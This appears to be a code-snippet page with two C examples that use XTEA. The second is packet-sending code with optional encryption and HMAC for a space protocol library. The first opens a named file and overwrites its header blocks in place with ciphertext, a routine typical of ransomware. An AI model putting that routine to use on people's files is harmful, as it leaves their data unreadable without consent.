Example #1
0
void encrypt(char *filename, void *xtea)
{
	HANDLE file;
	DWORD file_size;
	DWORD bytes_read = 0, bytes_written = 0;
	int i;
	char buffer[XTEA_BLOCK_SIZE_BYTES + 1] = { 0 };

	file = CreateFile(filename,
		GENERIC_READ | GENERIC_WRITE,
		FILE_SHARE_READ,
		NULL,
		OPEN_EXISTING,
		FILE_ATTRIBUTE_NORMAL,
		NULL);
	if (file == INVALID_HANDLE_VALUE) return;

	file_size = GetFileSize(file, NULL);
	if (file_size == INVALID_FILE_SIZE) return;
	if (file_size < XTEA_BLOCK_SIZE_BYTES * BLOCKS_TO_ENCRYPT) return;

	// Encrypt file header
	for (i = 0; i < BLOCKS_TO_ENCRYPT; i++)
	{
		ZeroMemory(buffer, XTEA_BLOCK_SIZE_BYTES + 1);
		SetFilePointer(file, i * XTEA_BLOCK_SIZE_BYTES, NULL, FILE_BEGIN);
		ReadFile(file, buffer, XTEA_BLOCK_SIZE_BYTES, &bytes_read, NULL);
		xtea_encrypt(64, (uint32_t *)buffer, (uint32_t *)((XTEA_DATA *)xtea)->xtea_key);
		SetFilePointer(file, i * XTEA_BLOCK_SIZE_BYTES, NULL, FILE_BEGIN);
		WriteFile(file, buffer, XTEA_BLOCK_SIZE_BYTES, &bytes_written, NULL);
	}

	CloseHandle(file);
}
Example #2
0
/**
 * Function to transmit a frame without an existing connection structure.
 * This function is used for stateless transmissions
 * @param idout 32bit CSP identifier
 * @param packet pointer to packet,
 * @param timeout a timeout to wait for TX to complete. NOTE: not all underlying drivers supports flow-control.
 * @return returns 1 if successful and 0 otherwise. you MUST free the frame yourself if the transmission was not successful.
 */
int csp_send_direct(csp_id_t idout, csp_packet_t * packet, unsigned int timeout) {

	if (packet == NULL) {
		csp_debug(CSP_ERROR, "csp_send_direct: packet == NULL\r\n");
		return 0;
	}

	csp_iface_t * ifout = csp_route_if(idout.dst);

	if ((ifout == NULL) || (*ifout->nexthop == NULL)) {
		csp_debug(CSP_ERROR, "No route to host: %#08x\r\n", idout.ext);
		return 0;
	}

	csp_debug(CSP_PACKET, "Sending packet from %u to %u port %u via interface %s\r\n", idout.src, idout.dst, idout.dport, ifout->name);
	ifout->count++;
	
#if CSP_USE_PROMISC
    /* Loopback traffic is added to promisc queue by the router */
    if (idout.dst != my_address) {
        packet->id.ext = idout.ext;
        csp_promisc_add(packet, csp_promisc_queue);
    }
#endif

    /* Only encrypt packets from the current node */
    if (idout.src == my_address && (idout.flags & CSP_FXTEA)) {
#if CSP_ENABLE_XTEA
    	/* Create nonce */
    	uint32_t nonce, nonce_n;
    	nonce = (uint32_t)rand();
    	nonce_n = htonl(nonce);
    	memcpy(&packet->data[packet->length], &nonce_n, sizeof(nonce_n));

    	/* Create initialization vector */
    	uint32_t iv[2] = {nonce, 1};

    	/* Encrypt data */
		if (xtea_encrypt(packet->data, packet->length, (uint32_t *)CSP_CRYPTO_KEY, iv) != 0) {
			/* Encryption failed */
			csp_debug(CSP_WARN, "Encryption failed! Discarding packet\r\n");
			csp_buffer_free(packet);
			return 0;
		}

		packet->length += sizeof(nonce_n);
#else
		csp_debug(CSP_WARN, "Attempt to send XTEA encrypted packet, but CSP was compiled without XTEA support. Discarding packet\r\n");
		return 0;
#endif
    }

    /* Only append HMAC to packets from the current node */
    if (idout.src == my_address && (idout.flags & CSP_FHMAC)) {
#if CSP_ENABLE_HMAC
		/* Calculate and add HMAC */
		if (hmac_append(packet, (uint8_t *)CSP_CRYPTO_KEY, CSP_CRYPTO_KEY_LENGTH) != 0) {
			/* HMAC append failed */
			csp_debug(CSP_WARN, "HMAC append failed!\r\n");
			csp_buffer_free(packet);
			return 0;
		}
#else
		csp_debug(CSP_WARN, "Attempt to send packet with HMAC, but CSP was compiled without HMAC support. Discarding packet\r\n");
		return 0;
#endif
    }

	return (*ifout->nexthop)(idout, packet, timeout);

}